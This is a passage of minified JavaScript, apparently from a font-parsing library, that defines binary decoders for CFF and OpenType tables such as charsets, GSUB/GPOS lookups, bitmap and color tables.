"Idieresissmall", "Ethsmall", "Ntildesmall", "Ogravesmall", "Oacutesmall", "Ocircumflexsmall", "Otildesmall", "Odieresissmall", "OEsmall", "Oslashsmall", "Ugravesmall", "Uacutesmall", "Ucircumflexsmall", "Udieresissmall", "Yacutesmall", "Thornsmall", "Ydieresissmall"],
                oe                                                                                                                          = [".notdef", "space", "dollaroldstyle", "dollarsuperior", "parenleftsuperior", "parenrightsuperior", "twodotenleader", "onedotenleader", "comma", "hyphen", "period", "fraction", "zerooldstyle", "oneoldstyle", "twooldstyle", "threeoldstyle", "fouroldstyle", "fiveoldstyle", "sixoldstyle", "sevenoldstyle", "eightoldstyle", "nineoldstyle", "colon", "semicolon", "commasuperior", "threequartersemdash", "periodsuperior", "asuperior", "bsuperior", "centsuperior", "dsuperior", "esuperior", "isuperior", "lsuperior", "msuperior", "nsuperior", "osuperior", "rsuperior", "ssuperior", "tsuperior", "ff", "fi", "fl", "ffi", "ffl", "parenleftinferior", "parenrightinferior", "hyphensuperior", "colonmonetary", "onefitted", "rupiah", "centoldstyle", "figuredash", "hypheninferior", "onequarter", "onehalf", "threequarters", "oneeighth", "threeeighths", "fiveeighths", "seveneighths", "onethird", "twothirds", "zerosuperior", "onesuperior", "twosuperior", "threesuperior", "foursuperior", "fivesuperior", "sixsuperior", "sevensuperior", "eightsuperior", "ninesuperior", "zeroinferior", "oneinferior", "twoinferior", "threeinferior", "fourinferior", "fiveinferior", "sixinferior", "seveninferior", "eightinferior", "nineinferior", "centinferior", "dollarinferior", "periodinferior", "commainferior"],
                ae                                                                                                                          = function () {
                    function t(e, n) {
                        J(this, t), this.predefinedOps = e, this.type = n
                    }

                    return t.prototype.decode = function (t, e, n) {
                        return this.predefinedOps[n[0]] ? this.predefinedOps[n[0]] : this.type.decode(t, e, n)
                    }, t.prototype.size = function (t, e) {
                        return this.type.size(t, e)
                    }, t.prototype.encode = function (t, e, n) {
                        var r = this.predefinedOps.indexOf(e);
                        return r !== -1 ? r : this.type.encode(t, e, n)
                    }, t
                }(), se                                                                                                                     = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.call(this, "UInt8"))
                    }

                    return et(e, t), e.prototype.decode = function (t) {
                        return 127 & V.uint8.decode(t)
                    }, e
                }(V.Number), ue                                                                                                             = new V.Struct({first: V.uint16, nLeft: V.uint8}), ce                                                       = new V.Struct({first: V.uint16, nLeft: V.uint16}),
                le                                                                                                                          = new V.VersionedStruct(new se, {
                    0: {nCodes: V.uint8, codes: new V.Array(V.uint8, "nCodes")},
                    1: {nRanges: V.uint8, ranges: new V.Array(ue, "nRanges")}
                }), fe                                                                                                                      = new ae([ee, ne], new Jt(le, {lazy: !0})), he                                                                       = function (t) {
                    function e() {
                        return J(this, e), tt(this, t.apply(this, arguments))
                    }

                    return et(e, t), e.prototype.decode = function (t, e) {
                        for (var n = nt.resolveLength(this.length, t, e), r = 0, i = []; r < n;) {
                            var o = this.type.decode(t, e);
                            o.offset = r, r += o.nLeft + 1, i.push(o)
                        }
                        return i
                    }, e
                }(V.Array), pe                                                                                                              = new V.VersionedStruct(V.uint8, {
                    0: {
                        glyphs: new V.Array(V.uint16, function (t) {
                            return t.parent.CharStrings.length - 1
                        })
                    }, 1: {
                        ranges: new he(ue, function (t) {
                            return t.parent.CharStrings.length - 1
                        })
                    }, 2: {
                        ranges: new he(ce, function (t) {
                            return t.parent.CharStrings.length - 1
                        })
                    }
                }), de                                                                                                                      = new ae([re, ie, oe], new Jt(pe, {lazy: !0})), ge                                                                   = new V.Struct({first: V.uint16, fd: V.uint8}), ve = new V.VersionedStruct(V.uint8, {
                    0: {
                        fds: new V.Array(V.uint8, function (t) {
                            return t.parent.CharStrings.length
                        })
                    }, 3: {nRanges: V.uint16, ranges: new V.Array(ge, "nRanges"), sentinel: V.uint16}
                }), ye                                                                                                                      = new Jt($t), me                                                                                                     = function () {
                    function t() {
                        J(this, t)
                    }

                    return t.prototype.decode = function (t, e, n) {
                        return e.length = n[0], ye.decode(t, e, [n[1]])
                    }, t.prototype.size = function (t, e) {
                        return [$t.size(t, e, !1), ye.size(t, e)[0]]
                    }, t.prototype.encode = function (t, e, n) {
                        return [$t.size(e, n, !1), ye.encode(t, e, n)[0]]
                    }, t
                }(), be                                                                                                                     = new Xt([[18, "Private", new me, null], [[12, 38], "FontName", "sid", null]]),
                we                                                                                                                          = new Xt([[[12, 30], "ROS", ["sid", "sid", "number"], null], [0, "version", "sid", null], [1, "Notice", "sid", null], [[12, 0], "Copyright", "sid", null], [2, "FullName", "sid", null], [3, "FamilyName", "sid", null], [4, "Weight", "sid", null], [[12, 1], "isFixedPitch", "boolean", !1], [[12, 2], "ItalicAngle", "number", 0], [[12, 3], "UnderlinePosition", "number", -100], [[12, 4], "UnderlineThickness", "number", 50], [[12, 5], "PaintType", "number", 0], [[12, 6], "CharstringType", "number", 2], [[12, 7], "FontMatrix", "array", [.001, 0, 0, .001, 0, 0]], [13, "UniqueID", "number", null], [5, "FontBBox", "array", [0, 0, 0, 0]], [[12, 8], "StrokeWidth", "number", 0], [14, "XUID", "array", null], [15, "charset", de, re], [16, "Encoding", fe, ee], [17, "CharStrings", new Jt(new Ht), null], [18, "Private", new me, null], [[12, 20], "SyntheticBase", "number", null], [[12, 21], "PostScript", "sid", null], [[12, 22], "BaseFontName", "sid", null], [[12, 23], "BaseFontBlend", "delta", null], [[12, 31], "CIDFontVersion", "number", 0], [[12, 32], "CIDFontRevision", "number", 0], [[12, 33], "CIDFontType", "number", 0], [[12, 34], "CIDCount", "number", 8720], [[12, 35], "UIDBase", "number", null], [[12, 37], "FDSelect", new Jt(ve), null], [[12, 36], "FDArray", new Jt(new Ht(be)), null], [[12, 38], "FontName", "sid", null]]),
                xe                                                                                                                          = new V.Struct({majorVersion: V.uint8, minorVersion: V.uint8, hdrSize: V.uint8, offSize: V.uint8}), Se = new V.Struct({
                    header: xe,
                    nameIndex: new Ht(new V.String("length")),
                    topDictIndex: new Ht(we),
                    stringIndex: new Ht(new V.String("length")),
                    globalSubrIndex: new Ht
                }), ke                                                                                                                      = function () {
                    function t(e) {
                        J(this, t), this.stream = e, this.decode()
                    }

                    return t.decode = function (e) {
                        return new t(e)
                    }, t.prototype.decode = function () {
                        var t = (this.stream.pos, Se.decode(this.stream));
                        for (var e in t) {
                            var n = t[e];
                            this[e] = n
                        }
                        if (1 !== this.topDictIndex.length) throw new Error("Only a single font is allowed in CFF");
                        return this.isCIDFont = null != this.topDict.ROS, this
                    }, t.prototype.string = function (t) {
                        return t < te.length ? te[t] : this.stringIndex[t - te.length]
                    }, t.prototype.getCharString = function (t) {
                        return this.stream.pos = this.topDict.CharStrings[t].offset, this.stream.readBuffer(this.topDict.CharStrings[t].length)
                    }, t.prototype.getGlyphName = function (t) {
                        var e = this.topDict.charset;
                        if (Array.isArray(e)) return e[t];
                        if (0 === t) return ".notdef";
                        switch (t -= 1, e.version) {
                            case 0:
                                return this.string(e.glyphs[t]);
                            case 1:
                            case 2:
                                for (var n = 0; n < e.ranges.length; n++) {
                                    var r = e.ranges[n];
                                    if (r.offset <= t && t <= r.offset + r.nLeft) return this.string(r.first + (t - r.offset))
                                }
                        }
                        return null
                    }, t.prototype.fdForGlyph = function (t) {
                        if (!this.topDict.FDSelect) return null;
                        switch (this.topDict.FDSelect.version) {
                            case 0:
                                return this.topDict.FDSelect.fds[t];
                            case 3:
                                for (var e = this.topDict.FDSelect.ranges, n = 0, r = e.length - 1; n <= r;) {
                                    var i = n + r >> 1;
                                    if (t < e[i].first) r = i - 1; else {
                                        if (!(i < r && t > e[i + 1].first)) return e[i].fd;
                                        n = i + 1
                                    }
                                }
                            default:
                                throw new Error("Unknown FDSelect version: " + this.topDict.FDSelect.version)
                        }
                    }, t.prototype.privateDictForGlyph = function (t) {
                        if (this.topDict.FDSelect) {
                            var e = this.fdForGlyph(t);
                            return this.topDict.FDArray[e] ? this.topDict.FDArray[e].Private : null
                        }
                        return this.topDict.Private
                    }, Q(t, [{
                        key: "topDict", get: function () {
                            return this.topDictIndex[0]
                        }
                    }, {
                        key: "postscriptName", get: function () {
                            return this.nameIndex[0]
                        }
                    }, {
                        key: "fullName", get: function () {
                            return this.string(this.topDict.FullName)
                        }
                    }, {
                        key: "familyName", get: function () {
                            return this.string(this.topDict.FamilyName)
                        }
                    }]), t
                }(), _e                                                                                                                     = new V.Struct({glyphIndex: V.uint16, vertOriginY: V.int16}), Ce                                                    = new V.Struct({
                    majorVersion: V.uint16,
                    minorVersion: V.uint16,
                    defaultVertOriginY: V.int16,
                    numVertOriginYMetrics: V.uint16,
                    metrics: new V.Array(_e, "numVertOriginYMetrics")
                }), Ae                                                                                                                      = new V.Struct({
                    height: V.uint8,
                    width: V.uint8,
                    horiBearingX: V.int8,
                    horiBearingY: V.int8,
                    horiAdvance: V.uint8,
                    vertBearingX: V.int8,
                    vertBearingY: V.int8,
                    vertAdvance: V.uint8
                }), Ee                                                                                                                      = new V.Struct({height: V.uint8, width: V.uint8, bearingX: V.int8, bearingY: V.int8, advance: V.uint8}),
                Pe                                                                                                                          = new V.Struct({glyph: V.uint16, xOffset: V.int8, yOffset: V.int8}), Ie                                                  = function t() {
                    J(this, t)
                }, Oe                                                                                                                       = function t() {
                    J(this, t)
                }, Te                                                                                                                       = (new V.VersionedStruct("version", {
                    1: {metrics: Ee, data: Ie},
                    2: {metrics: Ee, data: Oe},
                    5: {data: Oe},
                    6: {metrics: Ae, data: Ie},
                    7: {metrics: Ae, data: Oe},
                    8: {metrics: Ee, pad: new V.Reserved(V.uint8), numComponents: V.uint16, components: new V.Array(Pe, "numComponents")},
                    9: {metrics: Ae, pad: new V.Reserved(V.uint8), numComponents: V.uint16, components: new V.Array(Pe, "numComponents")},
                    17: {metrics: Ee, dataLen: V.uint32, data: new V.Buffer("dataLen")},
                    18: {metrics: Ae, dataLen: V.uint32, data: new V.Buffer("dataLen")},
                    19: {dataLen: V.uint32, data: new V.Buffer("dataLen")}
                }), new V.Struct({
                    ascender: V.int8,
                    descender: V.int8,
                    widthMax: V.uint8,
                    caretSlopeNumerator: V.int8,
                    caretSlopeDenominator: V.int8,
                    caretOffset: V.int8,
                    minOriginSB: V.int8,
                    minAdvanceSB: V.int8,
                    maxBeforeBL: V.int8,
                    minAfterBL: V.int8,
                    pad: new V.Reserved(V.int8, 2)
                })), Le                                                                                                                     = new V.Struct({glyphCode: V.uint16, offset: V.uint16}), Be = new V.VersionedStruct(V.uint16, {
                    header: {imageFormat: V.uint16, imageDataOffset: V.uint32}, 1: {
                        offsetArray: new V.Array(V.uint32, function (t) {
                            return t.parent.lastGlyphIndex - t.parent.firstGlyphIndex + 1
                        })
                    }, 2: {imageSize: V.uint32, bigMetrics: Ae}, 3: {
                        offsetArray: new V.Array(V.uint16, function (t) {
                            return t.parent.lastGlyphIndex - t.parent.firstGlyphIndex + 1
                        })
                    }, 4: {
                        numGlyphs: V.uint32, glyphArray: new V.Array(Le, function (t) {
                            return t.numGlyphs + 1
                        })
                    }, 5: {imageSize: V.uint32, bigMetrics: Ae, numGlyphs: V.uint32, glyphCodeArray: new V.Array(V.uint16, "numGlyphs")}
                }), Re                                                                                                                      = new V.Struct({firstGlyphIndex: V.uint16, lastGlyphIndex: V.uint16, subtable: new V.Pointer(V.uint32, Be)}), Me = new V.Struct({
                    indexSubTableArray: new V.Pointer(V.uint32, new V.Array(Re, 1), {type: "parent"}),
                    indexTablesSize: V.uint32,
                    numberOfIndexSubTables: V.uint32,
                    colorRef: V.uint32,
                    hori: Te,
                    vert: Te,
                    startGlyphIndex: V.uint16,
                    endGlyphIndex: V.uint16,
                    ppemX: V.uint8,
                    ppemY: V.uint8,
                    bitDepth: V.uint8,
                    flags: new V.Bitfield(V.uint8, ["horizontal", "vertical"])
                }), ze                                                                                                                      = new V.Struct({version: V.uint32, numSizes: V.uint32, sizes: new V.Array(Me, "numSizes")}), Fe                      = new V.Struct({
                    ppem: V.uint16, resolution: V.uint16, imageOffsets: new V.Array(new V.Pointer(V.uint32, "void"), function (t) {
                        return t.parent.parent.maxp.numGlyphs + 1
                    })
                }), De                                                                                                                      = new V.Struct({
                    version: V.uint16,
                    flags: new V.Bitfield(V.uint16, ["renderOutlines"]),
                    numImgTables: V.uint32,
                    imageTables: new V.Array(new V.Pointer(V.uint32, Fe), "numImgTables")
                }), Ne                                                                                                                      = new V.Struct({gid: V.uint16, paletteIndex: V.uint16}),
                Ue                                                                                                                          = new V.Struct({gid: V.uint16, firstLayerIndex: V.uint16, numLayers: V.uint16}), We = new V.Struct({
                    version: V.uint16,
                    numBaseGlyphRecords: V.uint16,
                    baseGlyphRecord: new V.Pointer(V.uint32, new V.Array(Ue, "numBaseGlyphRecords")),
                    layerRecords: new V.Pointer(V.uint32, new V.Array(Ne, "numLayerRecords"), {lazy: !0}),
                    numLayerRecords: V.uint16
                }), je                                                                                                                      = new V.Struct({blue: V.uint8, green: V.uint8, red: V.uint8, alpha: V.uint8}), Ge                                    = new V.Struct({
                    version: V.uint16,
                    numPaletteEntries: V.uint16,
                    numPalettes: V.uint16,
                    numColorRecords: V.uint16,
                    colorRecords: new V.Pointer(V.uint32, new V.Array(je, "numColorRecords")),
                    colorRecordIndices: new V.Array(V.uint16, "numPalettes")
                }), Ve                                                                                                                      = new V.Struct({
                    reserved: new V.Reserved(V.uint16),
                    reqFeatureIndex: V.uint16,
                    featureCount: V.uint16,
                    featureIndexes: new V.Array(V.uint16, "featureCount")
                }), qe                                                                                                                      = new V.Struct({tag: new V.String(4), langSys: new V.Pointer(V.uint16, Ve, {type: "parent"})}),
                He                                                                                                                          = new V.Struct({defaultLangSys: new V.Pointer(V.uint16, Ve), count: V.uint16, langSysRecords: new V.Array(qe, "count")}),
                Ze                                                                                                                          = new V.Struct({tag: new V.String(4), script: new V.Pointer(V.uint16, He, {type: "parent"})}), Ye                        = new V.Array(Ze, V.uint16),
                Ke                                                                                                                          = new V.Struct({featureParams: V.uint16, lookupCount: V.uint16, lookupListIndexes: new V.Array(V.uint16, "lookupCount")}),
                Xe                                                                                                                          = new V.Struct({tag: new V.String(4), feature: new V.Pointer(V.uint16, Ke, {type: "parent"})}), Je                       = new V.Array(Xe, V.uint16),
                Qe                                                                                                                          = new V.Bitfield(V.uint16, ["rightToLeft", "ignoreBaseGlyphs", "ignoreLigatures", "ignoreMarks", "useMarkFilteringSet", null, "markAttachmentType"]),
                $e                                                                                                                          = new V.Struct({start: V.uint16, end: V.uint16, startCoverageIndex: V.uint16}), tn                                       = new V.VersionedStruct(V.uint16, {
                    1: {glyphCount: V.uint16, glyphs: new V.Array(V.uint16, "glyphCount")},
                    2: {rangeCount: V.uint16, rangeRecords: new V.Array($e, "rangeCount")}
                }), en                                                                                                                      = new V.Struct({start: V.uint16, end: V.uint16, class: V.uint16}), nn                                                = new V.VersionedStruct(V.uint16, {
                    1: {startGlyph: V.uint16, glyphCount: V.uint16, classValueArray: new V.Array(V.uint16, "glyphCount")},
                    2: {classRangeCount: V.uint16, classRangeRecord: new V.Array(en, "classRangeCount")}
                }), rn                                                                                                                      = new V.Struct({startSize: V.uint16, endSize: V.uint16, deltaFormat: V.uint16}),
                on                                                                                                                          = new V.Struct({sequenceIndex: V.uint16, lookupListIndex: V.uint16}), an = new V.Struct({
                    glyphCount: V.uint16, lookupCount: V.uint16, input: new V.Array(V.uint16, function (t) {
                        return t.glyphCount - 1
                    }), lookupRecords: new V.Array(on, "lookupCount")
                }), sn                                                                                                                      = new V.Array(new V.Pointer(V.uint16, an), V.uint16), un                                                             = new V.Struct({
                    glyphCount: V.uint16, lookupCount: V.uint16, classes: new V.Array(V.uint16, function (t) {
                        return t.glyphCount - 1
                    }), lookupRecords: new V.Array(on, "lookupCount")
                }), cn                                                                                                                      = new V.Array(new V.Pointer(V.uint16, un), V.uint16), ln = new V.VersionedStruct(V.uint16, {
                    1: {
                        coverage: new V.Pointer(V.uint16, tn),
                        ruleSetCount: V.uint16,
                        ruleSets: new V.Array(new V.Pointer(V.uint16, sn), "ruleSetCount")
                    },
                    2: {
                        coverage: new V.Pointer(V.uint16, tn),
                        classDef: new V.Pointer(V.uint16, nn),
                        classSetCnt: V.uint16,
                        classSet: new V.Array(new V.Pointer(V.uint16, cn), "classSetCnt")
                    },
                    3: {glyphCount: V.uint16, lookupCount: V.uint16, coverages: new V.Array(new V.Pointer(V.uint16, tn), "glyphCount"), lookupRecords: new V.Array(on, "lookupCount")}
                }), fn                                                                                                                      = new V.Struct({
                    backtrackGlyphCount: V.uint16,
                    backtrack: new V.Array(V.uint16, "backtrackGlyphCount"),
                    inputGlyphCount: V.uint16,
                    input: new V.Array(V.uint16, function (t) {
                        return t.inputGlyphCount - 1
                    }),
                    lookaheadGlyphCount: V.uint16,
                    lookahead: new V.Array(V.uint16, "lookaheadGlyphCount"),
                    lookupCount: V.uint16,
                    lookupRecords: new V.Array(on, "lookupCount")
                }), hn                                                                                                                      = new V.Array(new V.Pointer(V.uint16, fn), V.uint16), pn                                                             = new V.VersionedStruct(V.uint16, {
                    1: {
                        coverage: new V.Pointer(V.uint16, tn),
                        chainCount: V.uint16,
                        chainRuleSets: new V.Array(new V.Pointer(V.uint16, hn), "chainCount")
                    },
                    2: {
                        coverage: new V.Pointer(V.uint16, tn),
                        backtrackClassDef: new V.Pointer(V.uint16, nn),
                        inputClassDef: new V.Pointer(V.uint16, nn),
                        lookaheadClassDef: new V.Pointer(V.uint16, nn),
                        chainCount: V.uint16,
                        chainClassSet: new V.Array(new V.Pointer(V.uint16, hn), "chainCount")
                    },
                    3: {
                        backtrackGlyphCount: V.uint16,
                        backtrackCoverage: new V.Array(new V.Pointer(V.uint16, tn), "backtrackGlyphCount"),
                        inputGlyphCount: V.uint16,
                        inputCoverage: new V.Array(new V.Pointer(V.uint16, tn), "inputGlyphCount"),
                        lookaheadGlyphCount: V.uint16,
                        lookaheadCoverage: new V.Array(new V.Pointer(V.uint16, tn), "lookaheadGlyphCount"),
                        lookupCount: V.uint16,
                        lookupRecords: new V.Array(on, "lookupCount")
                    }
                }), dn                                                                                                                      = new V.VersionedStruct(V.uint16, {
                    1: {coordinate: V.int16},
                    2: {coordinate: V.int16, referenceGlyph: V.uint16, baseCoordPoint: V.uint16},
                    3: {coordinate: V.int16, deviceTable: new V.Pointer(V.uint16, rn)}
                }), gn                                                                                                                      = new V.Struct({
                    defaultIndex: V.uint16,
                    baseCoordCount: V.uint16,
                    baseCoords: new V.Array(new V.Pointer(V.uint16, dn), "baseCoordCount")
                }), vn                                                                                                                      = new V.Struct({
                    tag: new V.String(4),
                    minCoord: new V.Pointer(V.uint16, dn, {type: "parent"}),
                    maxCoord: new V.Pointer(V.uint16, dn, {type: "parent"})
                }), yn                                                                                                                      = new V.Struct({
                    minCoord: new V.Pointer(V.uint16, dn),
                    maxCoord: new V.Pointer(V.uint16, dn),
                    featMinMaxCount: V.uint16,
                    featMinMaxRecords: new V.Array(vn, "featMinMaxCount")
                }), mn                                                                                                                      = new V.Struct({tag: new V.String(4), minMax: new V.Pointer(V.uint16, yn, {type: "parent"})}), bn                    = new V.Struct({
                    baseValues: new V.Pointer(V.uint16, gn),
                    defaultMinMax: new V.Pointer(V.uint16, yn),
                    baseLangSysCount: V.uint16,
                    baseLangSysRecords: new V.Array(mn, "baseLangSysCount")
                }), wn                                                                                                                      = new V.Struct({tag: new V.String(4), script: new V.Pointer(V.uint16, bn, {type: "parent"})}), xn = new V.Array(wn, V.uint16),
                Sn                                                                                                                          = new V.Array(new V.String(4), V.uint16),
                kn                                                                                                                          = new V.Struct({baseTagList: new V.Pointer(V.uint16, Sn), baseScriptList: new V.Pointer(V.uint16, xn)}),
                _n                                                                                                                          = new V.Struct({version: V.uint32, horizAxis: new V.Pointer(V.uint16, kn), vertAxis: new V.Pointer(V.uint16, kn)}),
                Cn                                                                                                                          = new V.Array(V.uint16, V.uint16), An = new V.Struct({
                    coverage: new V.Pointer(V.uint16, tn),
                    glyphCount: V.uint16,
                    attachPoints: new V.Array(new V.Pointer(V.uint16, Cn), "glyphCount")
                }), En                                                                                                                      = new V.VersionedStruct(V.uint16, {
                    1: {coordinate: V.int16},
                    2: {caretValuePoint: V.uint16},
                    3: {coordinate: V.int16, deviceTable: new V.Pointer(V.uint16, rn)}
                }), Pn                                                                                                                      = new V.Array(new V.Pointer(V.uint16, En), V.uint16), In                                                             = new V.Struct({
                    coverage: new V.Pointer(V.uint16, tn),
                    ligGlyphCount: V.uint16,
                    ligGlyphs: new V.Array(new V.Pointer(V.uint16, Pn), "ligGlyphCount")
                }), On                                                                                                                      = new V.Struct({
                    markSetTableFormat: V.uint16, markSetCount: V.uint16, coverage: new V.Array(new V.Pointer(V.uint32, tn), "markSetCount")
                }), Tn = new V.VersionedStruct(V.uint32, {
                    65536: {
                        glyphClassDef: new V.Pointer(V.uint16, nn),
                        attachList: new V.Pointer(V.uint16, An),
                        ligCaretList: new V.Pointer(V.uint16, In),
                        markAttachClassDef: new V.Pointer(V.uint16, nn)
                    },
                    65538: {
                        glyphClassDef: new V.Pointer(V.uint16, nn),
                        attachList: new V.Pointer(V.uint16, An),
                        ligCaretList: new V.Pointer(V.uint16, In),
                        markAttachClassDef: new V.Pointer(V.uint16, nn),
                        markGlyphSetsDef: new V.Pointer(V.uint16, On)
                    }
                }), Ln = new V.Bitfield(V.uint16, ["xPlacement", "yPlacement", "xAdvance", "yAdvance", "xPlaDevice", "yPlaDevice", "xAdvDevice", "yAdvDevice"]),
                Bn = {
                    xPlacement: V.int16,
                    yPlacement: V.int16,
                    xAdvance: V.int16,
                    yAdvance: V.int16,
                    xPlaDevice: new V.Pointer(V.uint16, rn, {type: "global", relativeTo: "rel"}),
                    yPlaDevice: new V.Pointer(V.uint16, rn, {type: "global", relativeTo: "rel"}),
                    xAdvDevice: new V.Pointer(V.uint16, rn, {type: "global", relativeTo: "rel"}),
                    yAdvDevice: new V.Pointer(V.uint16, rn, {type: "global", relativeTo: "rel"})
                }, Rn = function () {
                    function t() {
                        var e = arguments.length > 0 && void 0 !== arguments[0] ? arguments[0] : "valueFormat";
                        J(this, t), this.key = e
                    }

                    return t.prototype.buildStruct = function (t) {
                        for (var e = t; !e[this.key] && e.parent;) e = e.parent;
                        if (e[this.key]) {
                            var n = {};
                            n.rel = function () {
                                return e._startOffset
                            };
                            var r = e[this.key];
                            for (var i in r) r[i] && (n[i] = Bn[i]);
                            return new V.Struct(n)
                        }
                    }, t.prototype.size = function (t, e) {
                        return this.buildStruct(e).size(t, e)
                    }, t.prototype.decode = function (t, e) {
                        var n = this.buildStruct(e).decode(t, e);
                        return delete n.rel, n
                    }, t
                }(), Mn = new V.Struct({secondGlyph: V.uint16, value1: new Rn("valueFormat1"), value2: new Rn("valueFormat2")}), zn = new V.Array(Mn, V.uint16),
                Fn = new V.Struct({value1: new Rn("valueFormat1"), value2: new Rn("valueFormat2")}), Dn = new V.VersionedStruct(V.uint16, {
                    1: {xCoordinate: V.int16, yCoordinate: V.int16},
                    2: {xCoordinate: V.int16, yCoordinate: V.int16, anchorPoint: V.uint16},
                    3: {xCoordinate: V.int16, yCoordinate: V.int16, xDeviceTable: new V.Pointer(V.uint16, rn), yDeviceTable: new V.Pointer(V.uint16, rn)}
                }), Nn = new V.Struct({entryAnchor: new V.Pointer(V.uint16, Dn, {type: "parent"}), exitAnchor: new V.Pointer(V.uint16, Dn, {type: "parent"})}),
                Un = new V.Struct({class: V.uint16, markAnchor: new V.Pointer(V.uint16, Dn, {type: "parent"})}), Wn = new V.Array(Un, V.uint16),
                jn = new V.Array(new V.Pointer(V.uint16, Dn), function (t) {
                    return t.parent.classCount
                }), Gn = new V.Array(jn, V.uint16), Vn = new V.Array(new V.Pointer(V.uint16, Dn), function (t) {
                    return t.parent.parent.classCount
                }), qn = new V.Array(Vn, V.uint16), Hn = new V.Array(new V.Pointer(V.uint16, qn), V.uint16), Zn = new V.VersionedStruct("lookupType", {
                    1: new V.VersionedStruct(V.uint16, {
                        1: {coverage: new V.Pointer(V.uint16, tn), valueFormat: Ln, value: new Rn},
                        2: {coverage: new V.Pointer(V.uint16, tn), valueFormat: Ln, valueCount: V.uint16, values: new V.LazyArray(new Rn, "valueCount")}
                    }),
                    2: new V.VersionedStruct(V.uint16, {
                        1: {
                            coverage: new V.Pointer(V.uint16, tn),
                            valueFormat1: Ln,
                            valueFormat2: Ln,
                            pairSetCount: V.uint16,
                            pairSets: new V.LazyArray(new V.Pointer(V.uint16, zn), "pairSetCount")
                        },
                        2: {
                            coverage: new V.Pointer(V.uint16, tn),
                            valueFormat1: Ln,
                            valueFormat2: Ln,
                            classDef1: new V.Pointer(V.uint16, nn),
                            classDef2: new V.Pointer(V.uint16, nn),
                            class1Count: V.uint16,
                            class2Count: V.uint16,
                            classRecords: new V.LazyArray(new V.LazyArray(Fn, "class2Count"), "class1Count")
                        }
                    }),
                    3: {format: V.uint16, coverage: new V.Pointer(V.uint16, tn), entryExitCount: V.uint16, entryExitRecords: new V.Array(Nn, "entryExitCount")},
                    4: {
                        format: V.uint16,
                        markCoverage: new V.Pointer(V.uint16, tn),
                        baseCoverage: new V.Pointer(V.uint16, tn),
                        classCount: V.uint16,
                        markArray: new V.Pointer(V.uint16, Wn),
                        baseArray: new V.Pointer(V.uint16, Gn)
                    },
                    5: {
                        format: V.uint16,
                        markCoverage: new V.Pointer(V.uint16, tn),
                        ligatureCoverage: new V.Pointer(V.uint16, tn),
                        classCount: V.uint16,
                        markArray: new V.Pointer(V.uint16, Wn),
                        ligatureArray: new V.Pointer(V.uint16, Hn)
                    },
                    6: {
                        format: V.uint16,
                        mark1Coverage: new V.Pointer(V.uint16, tn),
                        mark2Coverage: new V.Pointer(V.uint16, tn),
                        classCount: V.uint16,
                        mark1Array: new V.Pointer(V.uint16, Wn),
                        mark2Array: new V.Pointer(V.uint16, Gn)
                    },
                    7: ln,
                    8: pn,
                    9: {posFormat: V.uint16, lookupType: V.uint16, extension: new V.Pointer(V.uint32, Zn)}
                });
            Zn.versions[9].extension.type = Zn;
            var Yn = new V.Struct({
                version: V.int32,
                scriptList: new V.Pointer(V.uint16, Ye),
                featureList: new V.Pointer(V.uint16, Je),
                lookupList: new V.Pointer(V.uint16, new s(Zn))
            }), Kn = new V.Array(V.uint16, V.uint16), Xn = Kn, Jn = new V.Struct({
                glyph: V.uint16, compCount: V.uint16, components: new V.Array(V.uint16, function (t) {
                    return t.compCount - 1
                })
            }), Qn = new V.Array(new V.Pointer(V.uint16, Jn), V.uint16), $n = new V.VersionedStruct("lookupType", {
                1: new V.VersionedStruct(V.uint16, {
                    1: {
                        coverage: new V.Pointer(V.uint16, tn),
                        deltaGlyphID: V.int16
                    }, 2: {coverage: new V.Pointer(V.uint16, tn), glyphCount: V.uint16, substitute: new V.LazyArray(V.uint16, "glyphCount")}
                }),
                2: {substFormat: V.uint16, coverage: new V.Pointer(V.uint16, tn), count: V.uint16, sequences: new V.LazyArray(new V.Pointer(V.uint16, Kn), "count")},
                3: {substFormat: V.uint16, coverage: new V.Pointer(V.uint16, tn), count: V.uint16, alternateSet: new V.LazyArray(new V.Pointer(V.uint16, Xn), "count")},
                4: {substFormat: V.uint16, coverage: new V.Pointer(V.uint16, tn), count: V.uint16, ligatureSets: new V.LazyArray(new V.Pointer(V.uint16, Qn), "count")},
                5: ln,
                6: pn,
                7: {substFormat: V.uint16, lookupType: V.uint16, extension: new V.Pointer(V.uint32, $n)},
                8: {
                    substFormat: V.uint16,
                    coverage: new V.Pointer(V.uint16, tn),
                    backtrackCoverage: new V.Array(new V.Pointer(V.uint16, tn), "backtrackGlyphCount"),
                    lookaheadGlyphCount: V.uint16,
                    lookaheadCoverage: new V.Array(new V.Pointer(V.uint16, tn), "lookaheadGlyphCount"),
                    glyphCount: V.uint16,
                    substitutes: new V.Array(V.uint16, "glyphCount")
                }
            });
            $n.versions[7].extension.type = $n;
            var tr = new V.Struct({
                    version: V.int32,
                    scriptList: new V.Pointer(V.uint16, Ye),
                    featureList: new V.Pointer(V.uint16, Je),
                    lookupList: new V.Pointer(V.uint16, new s($n))
                }), er = new V.Array(V.uint16, V.uint16), nr = new V.Struct({
                    shrinkageEnableGSUB: new V.Pointer(V.uint16, er),
                    shrinkageDisableGSUB: new V.Pointer(V.uint16, er),
                    shrinkageEnableGPOS: new V.Pointer(V.uint16, er),
                    shrinkageDisableGPOS: new V.Pointer(V.uint16, er),
                    shrinkageJstfMax: new V.Pointer(V.uint16, new s(Zn)),
                    extensionEnableGSUB: new V.Pointer(V.uint16, er),
                    extensionDisableGSUB: new V.Pointer(V.uint16, er),
                    extensionEnableGPOS: new V.Pointer(V.uint16, er),
                    extensionDisableGPOS: new V.Pointer(V.uint16, er),
                    extensionJstfMax: new V.Pointer(V.uint16, new s(Zn))
                }), rr = new V.Array(new V.Pointer(V.uint16, nr), V.uint16), ir = new V.Struct({tag: new V.String(4), jstfLangSys: new V.Pointer(V.uint16, rr)}),
                or = new V.Struct({
                    extenderGlyphs: new V.Pointer(V.uint16, new V.Array(V.uint16, V.uint16)),
                    defaultLangSys: new V.Pointer(V.uint16, rr),
                    langSysCount: V.uint16,
                    langSysRecords: new V.Array(ir, "langSysCount")
                }), ar = new V.Struct({tag: new V.String(4), script: new V.Pointer(V.uint16, or, {type: "parent"})}),
                sr = new V.Struct({version: V.uint32, scriptCount: V.uint16, scriptList: new V.Array(ar, "scriptCount")}),
                ur = new V.Struct({format: V.uint32, length: V.uint32, offset: V.uint32}),
                cr = new V.Struct({reserved: new V.Reserved(V.uint16, 2), cbSignature: V.uint32, signature: new V.Buffer("cbSignature")}),
                lr = new V.Struct({
                    ulVersion: V.uint32,
                    usNumSigs: V.uint16,
                    usFlag: V.uint16,
